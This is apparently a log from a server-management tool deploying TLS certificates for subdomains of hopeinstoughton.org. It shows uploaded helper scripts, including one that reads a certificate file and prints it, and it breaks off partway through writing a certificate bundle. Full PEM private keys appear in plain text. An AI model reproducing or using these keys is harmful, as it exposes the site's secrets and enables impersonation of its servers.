bGrSEAzca5x4CnJjcDX53GKXlZzYBvO9vjhl1Li1YbOvTT/cnNmUc33CsmAfmPTN
PGP4W5GmhgBn58dmkqBj6M6NyBci0W3Hxr9DQMyo9kWRRoNA9xrzbv3QL+iorgE1
41J4adHnPKj5HORUDB+MUjx9D4c3Ar5Ad4UhaMAQlnxpV9HVl5qiMAWjmJvrD976
3W17tJkqfBk6Ui5kr/4I8TszvIHedAdc1s3YbgsCAwEAAaOCAiEwggIdMA4GA1Ud
DwEB/wQEAwIFoDATBgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0G
A1UdDgQWBBQTDDqRb0wpvzOcqOsuSSdD+sQ1jDAfBgNVHSMEGDAWgBTnq58PLDOg
U9NeT3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6
Ly9yMTMuaS5sZW5jci5vcmcvMCUGA1UdEQQeMByCGmN5Z251cy5ob3BlaW5zdG91
Z2h0b24ub3JnMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC8GA1UdHwQoMCYwJKAioCCG
Hmh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvMTAxLmNybDCCAQQGCisGAQQB1nkCBAIE
gfUEgfIA8AB1AMs49xWJfIShRF9bwd37yW7ymlnNRwppBYWwyxTDFFjnAAABnNZV
y/cAAAQDAEYwRAIgcrAQ89gIzrqjr5hjIrVM86eZzl4ZxsYqh1L10lYCZecCIGXF
e0/aJxeCH93n2jQwwcYwVoapbykoD2A0E80VUz4qAHcADleUvPOuqT4zGyyZB7P3
kN+bwj1xMiXdIaklrGHFTiEAAAGc1lXL2AAABAMASDBGAiEAj8GLLpJkkiloZ1rr
StqGfag1CGPr04InjG7MQyNEoTMCIQDKV6u3E7KeczJNL34kGVLwum/K5xOJmRLW
Z9F3FOJO9TANBgkqhkiG9w0BAQsFAAOCAQEACsgfzbluQP7gxPHXXEmINO8DBwwz
YjFadci+yTVUmYaHTKytVJ/Ik7CO8zrNKWkaQy59utJ7/itBk3QAvzMbxWePAdwl
xqkg8D0VKWm+y8tM7AH6B4JSc6b3t+byNr7Lp4HV8OaWzm/MGbsiq4k0FFvVfdeF
OuhD0KE6mJR9grFj+7de0BttHWwJ2y48vdSlKlOQvag3Mex9mD4qB6SCj/AJ9JAz
olBGL4xxPyq6SuYK6EBRToe22tWiVER3jjOzzy44iH8ChXi6XcPtRhYNYen+3WRJ
cd10hQ7SW7dSe82lD7y45rwuIQAyKdWfTNlmFnBAOpCc4hpz8lSYaoloXQ==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEuwIBADANBgkqhkiG9w0BAQEFAASCBKUwggShAgEAAoIBAQDnl5AauwRgNAZe
ynDKgnGML8uiRx3faAz0dTKSmJ/F+odMJMk7JMRh41TQUyGhMeADBKyq1uX0GyKZ
IAPCvS4Tsii9CsGCfNDB1AqG+bn1IDlKC2xq0hAM3GuceApyY3A1+dxil5Wc2Abz
vb44ZdS4tWGzr00/3JzZlHN9wrJgH5j0zTxj+FuRpoYAZ+fHZpKgY+jOjcgXItFt
x8a/Q0DMqPZFkUaDQPca82790C/oqK4BNeNSeGnR5zyo+RzkVAwfjFI8fQ+HNwK+
QHeFIWjAEJZ8aVfR1ZeaojAFo5ib6w/e+t1te7SZKnwZOlIuZK/+CPE7M7yB3nQH
XNbN2G4LAgMBAAECgf9uXcxO8NElB6YBhng6CfAS3rQsobeav/tshG2Vbya1Mq9H
mkBL7zmnbK7+mJ9uMlaPGasvvznXGxdh4d/o7j8HI+BGNtoBVXom5OYfbOMx7ilf
IBKK1ZDQkDq4VnykBr9y+aANXC/wjwLBJauBNQYrAEWPW/t0c65MAnMHe8GGDKC9
yKxJLeu8hcEHnbB7EgUY5OkQUtEqz69BkcdPToawTIbwGiw+4sNzWyeeNCkaukyT
XYTEc6X1uTmeC6shtP2fYyXHBvFYOP1dmfdv1qrhS83htqxC+xcZnieswGApzM87
NLDqh3rwz/n4I032VRQsjUchIGlIY5PharI8j/ECgYEA9yWazDuy1pQI+KInPak1
gN28G396KnlIFAzmFryCcIr0XW72ZyqnVGuDkVJrggp8/DIbdIxao9AQWuYA1EuT
Q3H0UxApMcYMhWmWvPwFF7tOANTH/ivsFUi1VNE3X5DarRYL1JwItY7XWQbqcjFc
ny23Hsiadkoy7k4+XL1bB5UCgYEA7+NRC0ontW3/JWPFc1uMWMC8xQDySsA1R7qT
+bTvUl1Z6i1qYLbnQXRumHpg8neV3TzsEirmWAdasMiycBf3FaA12yfDqp0ll2AD
QtlB3jMAGXp6anyr6xF9G6PVCPW2NqdT6y9pxWYJ3kihIu0BrzoDPAjU/gOhUswE
FhILtx8CgYBFGBxI0L/UwZooeJzj3jR5DISUY3Ux/qoqANkqrhUBhbd/j5APk5so
PM6RiCtKNchvcUq/sKV+eqK35umAcIiBKJCX0ELUCXxip/xeZU6/LbxG+zXWV00v
Ph6D0eHbM9IO5cT08ZJ1v7NwzkApIKe2UL+LOaYFQAUxHmrM3pteaQKBgQDUf2Ld
Q1UljEjGEDlqVKBgRmtxf8MhoF4SKh7GxhZxuavam1xuS9dSzhbiDxYt8uzYTA06
krH1LJ6Tl1UporEHgSHz/qd/TTFthGmfH+EPOdJOv4YNKl8IHjfa8ifWhgJhK5xU
620gpaD8PQ4waA5j8FnJJnG2ifSv6XV9L4MdNQKBgEo+43y0o1pRmTLn5U1IZBG8
GJB2WIV1mCB4HCKZNO9Df1SZVgjNUKnRIsuFPH6pOehN8fsLkhDJzSpZczUBD9Ok
iqbii4S7+GSRiw/+OxFjviN1Ri/5Ubky/YsFvT7TVLvkSS2CphWmoHIB1escKA+o
Z+jt6V4iTTYqwhFGc/v0
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2026-03-10 06:01:21: 

PUT: /tmp/pkp695908

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/de5c0e727038623f544d9b5f10eaf734')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-03-10 06:01:21: 

chmod 755 /tmp/pkp695908; /tmp/pkp695908; rm /tmp/pkp695908

2026-03-10 06:01:21: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/de5c0e727038623f544d9b5f10eaf734	5364
87:ce:c1:e9:5a:3a:86:7a:f6:41:75:47:e7:d8:cf:16

-----BEGIN CERTIFICATE-----
MIIFBzCCA++gAwIBAgISBvziWxZsWylZRnhlQXToeBBkMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMzEwMDUwMjQyWhcNMjYwNjA4MDUwMjQxWjAlMSMwIQYDVQQD
ExpjeWdudXMuaG9wZWluc3RvdWdodG9uLm9yZzCCASIwDQYJKoZIhvcNAQEBBQAD
ggEPADCCAQoCggEBAOeXkBq7BGA0Bl7KcMqCcYwvy6JHHd9oDPR1MpKYn8X6h0wk
yTskxGHjVNBTIaEx4AMErKrW5fQbIpkgA8K9LhOyKL0KwYJ80MHUCob5ufUgOUoL
bGrSEAzca5x4CnJjcDX53GKXlZzYBvO9vjhl1Li1YbOvTT/cnNmUc33CsmAfmPTN
PGP4W5GmhgBn58dmkqBj6M6NyBci0W3Hxr9DQMyo9kWRRoNA9xrzbv3QL+iorgE1
41J4adHnPKj5HORUDB+MUjx9D4c3Ar5Ad4UhaMAQlnxpV9HVl5qiMAWjmJvrD976
3W17tJkqfBk6Ui5kr/4I8TszvIHedAdc1s3YbgsCAwEAAaOCAiEwggIdMA4GA1Ud
DwEB/wQEAwIFoDATBgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0G
A1UdDgQWBBQTDDqRb0wpvzOcqOsuSSdD+sQ1jDAfBgNVHSMEGDAWgBTnq58PLDOg
U9NeT3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6
Ly9yMTMuaS5sZW5jci5vcmcvMCUGA1UdEQQeMByCGmN5Z251cy5ob3BlaW5zdG91
Z2h0b24ub3JnMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC8GA1UdHwQoMCYwJKAioCCG
Hmh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvMTAxLmNybDCCAQQGCisGAQQB1nkCBAIE
gfUEgfIA8AB1AMs49xWJfIShRF9bwd37yW7ymlnNRwppBYWwyxTDFFjnAAABnNZV
y/cAAAQDAEYwRAIgcrAQ89gIzrqjr5hjIrVM86eZzl4ZxsYqh1L10lYCZecCIGXF
e0/aJxeCH93n2jQwwcYwVoapbykoD2A0E80VUz4qAHcADleUvPOuqT4zGyyZB7P3
kN+bwj1xMiXdIaklrGHFTiEAAAGc1lXL2AAABAMASDBGAiEAj8GLLpJkkiloZ1rr
StqGfag1CGPr04InjG7MQyNEoTMCIQDKV6u3E7KeczJNL34kGVLwum/K5xOJmRLW
Z9F3FOJO9TANBgkqhkiG9w0BAQsFAAOCAQEACsgfzbluQP7gxPHXXEmINO8DBwwz
YjFadci+yTVUmYaHTKytVJ/Ik7CO8zrNKWkaQy59utJ7/itBk3QAvzMbxWePAdwl
xqkg8D0VKWm+y8tM7AH6B4JSc6b3t+byNr7Lp4HV8OaWzm/MGbsiq4k0FFvVfdeF
OuhD0KE6mJR9grFj+7de0BttHWwJ2y48vdSlKlOQvag3Mex9mD4qB6SCj/AJ9JAz
olBGL4xxPyq6SuYK6EBRToe22tWiVER3jjOzzy44iH8ChXi6XcPtRhYNYen+3WRJ
cd10hQ7SW7dSe82lD7y45rwuIQAyKdWfTNlmFnBAOpCc4hpz8lSYaoloXQ==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEuwIBADANBgkqhkiG9w0BAQEFAASCBKUwggShAgEAAoIBAQDnl5AauwRgNAZe
ynDKgnGML8uiRx3faAz0dTKSmJ/F+odMJMk7JMRh41TQUyGhMeADBKyq1uX0GyKZ
IAPCvS4Tsii9CsGCfNDB1AqG+bn1IDlKC2xq0hAM3GuceApyY3A1+dxil5Wc2Abz
vb44ZdS4tWGzr00/3JzZlHN9wrJgH5j0zTxj+FuRpoYAZ+fHZpKgY+jOjcgXItFt
x8a/Q0DMqPZFkUaDQPca82790C/oqK4BNeNSeGnR5zyo+RzkVAwfjFI8fQ+HNwK+
QHeFIWjAEJZ8aVfR1ZeaojAFo5ib6w/e+t1te7SZKnwZOlIuZK/+CPE7M7yB3nQH
XNbN2G4LAgMBAAECgf9uXcxO8NElB6YBhng6CfAS3rQsobeav/tshG2Vbya1Mq9H
mkBL7zmnbK7+mJ9uMlaPGasvvznXGxdh4d/o7j8HI+BGNtoBVXom5OYfbOMx7ilf
IBKK1ZDQkDq4VnykBr9y+aANXC/wjwLBJauBNQYrAEWPW/t0c65MAnMHe8GGDKC9
yKxJLeu8hcEHnbB7EgUY5OkQUtEqz69BkcdPToawTIbwGiw+4sNzWyeeNCkaukyT
XYTEc6X1uTmeC6shtP2fYyXHBvFYOP1dmfdv1qrhS83htqxC+xcZnieswGApzM87
NLDqh3rwz/n4I032VRQsjUchIGlIY5PharI8j/ECgYEA9yWazDuy1pQI+KInPak1
gN28G396KnlIFAzmFryCcIr0XW72ZyqnVGuDkVJrggp8/DIbdIxao9AQWuYA1EuT
Q3H0UxApMcYMhWmWvPwFF7tOANTH/ivsFUi1VNE3X5DarRYL1JwItY7XWQbqcjFc
ny23Hsiadkoy7k4+XL1bB5UCgYEA7+NRC0ontW3/JWPFc1uMWMC8xQDySsA1R7qT
+bTvUl1Z6i1qYLbnQXRumHpg8neV3TzsEirmWAdasMiycBf3FaA12yfDqp0ll2AD
QtlB3jMAGXp6anyr6xF9G6PVCPW2NqdT6y9pxWYJ3kihIu0BrzoDPAjU/gOhUswE
FhILtx8CgYBFGBxI0L/UwZooeJzj3jR5DISUY3Ux/qoqANkqrhUBhbd/j5APk5so
PM6RiCtKNchvcUq/sKV+eqK35umAcIiBKJCX0ELUCXxip/xeZU6/LbxG+zXWV00v
Ph6D0eHbM9IO5cT08ZJ1v7NwzkApIKe2UL+LOaYFQAUxHmrM3pteaQKBgQDUf2Ld
Q1UljEjGEDlqVKBgRmtxf8MhoF4SKh7GxhZxuavam1xuS9dSzhbiDxYt8uzYTA06
krH1LJ6Tl1UporEHgSHz/qd/TTFthGmfH+EPOdJOv4YNKl8IHjfa8ifWhgJhK5xU
620gpaD8PQ4waA5j8FnJJnG2ifSv6XV9L4MdNQKBgEo+43y0o1pRmTLn5U1IZBG8
GJB2WIV1mCB4HCKZNO9Df1SZVgjNUKnRIsuFPH6pOehN8fsLkhDJzSpZczUBD9Ok
iqbii4S7+GSRiw/+OxFjviN1Ri/5Ubky/YsFvT7TVLvkSS2CphWmoHIB1escKA+o
Z+jt6V4iTTYqwhFGc/v0
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2026-03-10 06:01:21: Establishing a connection
2026-03-10 06:01:22: Establishing a connection
2026-03-10 06:01:23: 

PUT: /tmp/pkp830765

#!/bin/bash
if [ -d "/var/www/hopeinstoughton_mixer/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-03-10 06:01:24: 

chmod 755 /tmp/pkp830765; /tmp/pkp830765; rm /tmp/pkp830765

2026-03-10 06:01:24: 


0


2026-03-10 06:01:50: Establishing a connection
2026-03-10 06:01:51: 

PUT: /tmp/pkp271476

#!/bin/bash
temp_file=$(mktemp)
TARGET=490fd86317cc9a7ba4710967bbbfc2a7

cat > $temp_file <<'endmsg'
46:e5:d2:39:8c:15:ce:16:a4:89:75:51:8c:94:4c:bf

-----BEGIN CERTIFICATE-----
MIIFCzCCA/OgAwIBAgISBpRs3hEwBarmcEiF79MGBJXFMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwMzEwMDUwMzE5WhcNMjYwNjA4MDUwMzE4WjAkMSIwIAYDVQQD
ExltaXhlci5ob3BlaW5zdG91Z2h0b24ub3JnMIIBIjANBgkqhkiG9w0BAQEFAAOC
AQ8AMIIBCgKCAQEAoA3XGKI65HJZU0p50IK6fXw1d/zHnAYNg+rqBZw5Q+mHSDp8
mo+VR/CPAbc7/u8MQ3qjlUUC1b5u+t6YsLznuBhUZ33TubEu7SbMqZ+sRpDQ3bPC
FZ99bl/8SeU8CwPd+JfTfUSDoXiNjWjT1OboXP+B8DjXTGfaNHNUMhParY8pDo6E
bzC6uh5CcJ+a1ENygFL79ra+OpSw8M1S4C1NMDNZVdAYPMbdhv2QBnuMrsSihcPt
Uw/pNLDqJi/bpedDhlOlfY4ucNoO02uNvQS88dAw/rFk4tauweR3wrOI14i+6BWe
4qkNWgkVhfG/2SOQ8ICp6qG0Ja4H+q4k1m4qswIDAQABo4ICJjCCAiIwDgYDVR0P
AQH/BAQDAgWgMBMGA1UdJQQMMAoGCCsGAQUFBwMBMAwGA1UdEwEB/wQCMAAwHQYD
VR0OBBYEFIAeqNPNv1F3AO+mvWuwYaRMTYT0MB8GA1UdIwQYMBaAFAC1KfItjm8x
6JtMrXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDov
L3IxMi5pLmxlbmNyLm9yZy8wJAYDVR0RBB0wG4IZbWl4ZXIuaG9wZWluc3RvdWdo
dG9uLm9yZzATBgNVHSAEDDAKMAgGBmeBDAECATAuBgNVHR8EJzAlMCOgIaAfhh1o
dHRwOi8vcjEyLmMubGVuY3Iub3JnLzcwLmNybDCCAQsGCisGAQQB1nkCBAIEgfwE
gfkA9wB1ABaDLavwqSUPD/A6pUX/yL/II9CHS/YEKSf45x8zE/X6AAABnNZWXJoA
AAQDAEYwRAIgBXaMli67IVyiLtUI9PgIX2SdHGHTEIZpbuX6359gziYCIE/QeSN+
/gH7gCM0kWXu8SNfa4yPQRci36Ic6eSFkLSRAH4A4yON8o2iiOCq4Kzw+pDJhfC2
v/XSpSewAfwcRFjEtugAAAGc1lZeuwAIAAAFADUYFTgEAwBHMEUCIAEKa1YzcmQO
GGMTbzVejxZercf2aqRMlRtZ7w1Ja63KAiEAyEw6UDMyD/HIhJ5VCu0MC2VdDGzq
+44dmLnkfpt6ZMkwDQYJKoZIhvcNAQELBQADggEBAE8OAizaBgA8O27XT6ZjKY1v
iLxOHPiOTuDbgAchxLVXZnLCrBILKbW3mCzrY+NPS2ExZwYQdxDK0e9aP2dvVuSd
iAYQPlpeQKEoZ6mWH+DyTaGfEjwMqwId6M4nYHSrWj1ZcQ0hLGAYXzhc+77EYFWr
fF+swBt2bQoE+A/yqXNhm56UvlurivQSvtY3diizhz8SjVyUETfYdCWgPrDtJ30W
LrpdJ8WhOIZKOJrFCvVviO41W3G1GkRJfHgSWU9VbK/0BoDsN+QfB6XZnaY87mwd
vxSQyON3NulEUsx6I7l7PJuSKo9TlgzsWxFqwb8Dg7L4YWsT3AjLrFQvxOojraQ=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEuwIBADANBgkqhkiG9w0BAQEFAASCBKUwggShAgEAAoIBAQCgDdcYojrkcllT
SnnQgrp9fDV3/MecBg2D6uoFnDlD6YdIOnyaj5VH8I8Btzv+7wxDeqOVRQLVvm76
3piwvOe4GFRnfdO5sS7tJsypn6xGkNDds8IVn31uX/xJ5TwLA934l9N9RIOheI2N
aNPU5uhc/4HwONdMZ9o0c1QyE9qtjykOjoRvMLq6HkJwn5rUQ3KAUvv2tr46lLDw
zVLgLU0wM1lV0Bg8xt2G/ZAGe4yuxKKFw+1TD+k0sOomL9ul50OGU6V9ji5w2g7T
a429BLzx0DD+sWTi1q7B5HfCs4jXiL7oFZ7iqQ1aCRWF8b/ZI5DwgKnqobQlrgf6
riTWbiqzAgMBAAECgf9bl5AACNaq5MU5ZOVQ7X7LUMlIYN/Z6ZzSYRyLGVusAXfp
XY7w5DoJcSBlWvZ6bVIXS5dRVKzKpK/d4ISAn5n7P/ENSHRhT4QLMqjsaPOtbjIY
rUXkGeEtyMAXiZdStmPQXxIoHY02WkanJdYTgBB5J760OdL7ZnL4kQcdoT8DEoI9
dlAeCrAGRBtpFXc2Jr/ptLHiWZfZ/ZTQpARj0hwahNqnJmmRfsNkqOPcBBCyhDDe
6R874yyf/bz52DL/vs9ir2WoavRfLRS03vokdbu2i7ZjubzySzcV1YrHhb4ZM5xW
ftt5lZlH94bqFjrFKycofkHUE5x5ma5N9PqWV/kCgYEAzAIP58vWfzulcV1MKlAU
8Qfs6Bfqh+hJvIGXkL6D15dNbwZhICHBNQymwcn+jLg15KyIeMtEacWrYymxJ0mD
bARJmIzNnqN7jbLJsrBoJZVs75oO7qwVbhWuG/vXjX9VCL5FOKev1Frlhk9unKbr
Xi/DHg/LMxkuuDCsp7zH2rkCgYEAyNgfSJ883ePnjJ3p75A1kDYS4sjgWOsMKhI1
LYuqVWbe/9pZAxURT42yDRxTMWSA9RcWxYim9jzuLQzzehhWMiVu6IS7/yHkRCwT
Hk1ghZWQ0auDqJbO8x91CzI2z3KC2spklzXVRXa5TQSC4spswXjXCDwcgdUVUbPs
BjJsissCgYB0H1heYLCfi5wIg0qvaxYAfLplAfgFlDskib90LH1vYjg5UjBG0e/f
+muRMyEpiFFk8LBd0ZYHfvSnZTvpWPbtrSMXKk6AVh4l8fbNN4yQmBWB7PdC88Df
AIgydY+kgy4r4+IS9aAoB/VOFjioAntHCXjOy76mP1dQkKQ2dkZsQQKBgQCJisA5
ypszVc0PlmFLZxXXccCTQH+rRSRqd1elnj0DCVT0IELPApF9SotBwUET1UEfFzXI
ByJYBTgS8AiZd6sn4kzGvYfFXB9ntEtPeCv+r4OiovOh88074DIWfcfdXw1P6kTi
7MHmNT0HCmzcBUZfZHLWN9xJ6XQVJMMhJ0z/6wKBgHykEsUVhsfuzyObtraMqgck
QKoSl6oEKm+Vz5BJUIxeb2tvAXssp28/nwYGHI9wEUOAboUXFyDRa7NPUgYW9yby
oAsj0kT6H8ChthPr10BHN4qzpRqmjZaRjDCZ9wZq67pt62Et9elVYTlcp6GxjcNY
d85WhKSWp71ThV2bl8w8
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
